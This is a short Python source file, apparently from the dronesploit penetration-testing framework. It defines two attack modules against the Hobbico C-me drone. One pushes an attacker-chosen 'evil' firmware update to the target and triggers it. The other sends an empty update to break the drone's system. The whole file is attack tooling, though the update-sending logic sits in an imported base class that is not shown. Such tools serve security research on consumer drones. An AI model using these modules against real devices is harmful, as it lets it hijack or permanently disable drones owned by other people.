# -*- coding: UTF-8 -*-
from dronesploit.drones.hobbico import CmeUpdateModule


class FirmwareUpdate(CmeUpdateModule):
    """ Push an evil update to the target C-me and trigger it. """
    config = Config({
        Option(
            'UPDATE_FILE',
            "evil update file to be pushed",
            True,
            transform=lambda s, v: Path(v),
        ): Path("0.7.15.zip"),
    })
    
    def run(self):
        self.send_update(self.config.get("UPDATE_FILE"))


class FirmwareDos(CmeUpdateModule):
    """ Push an empty update to break target C-me's system. """    
    def run(self):
        self.send_update()

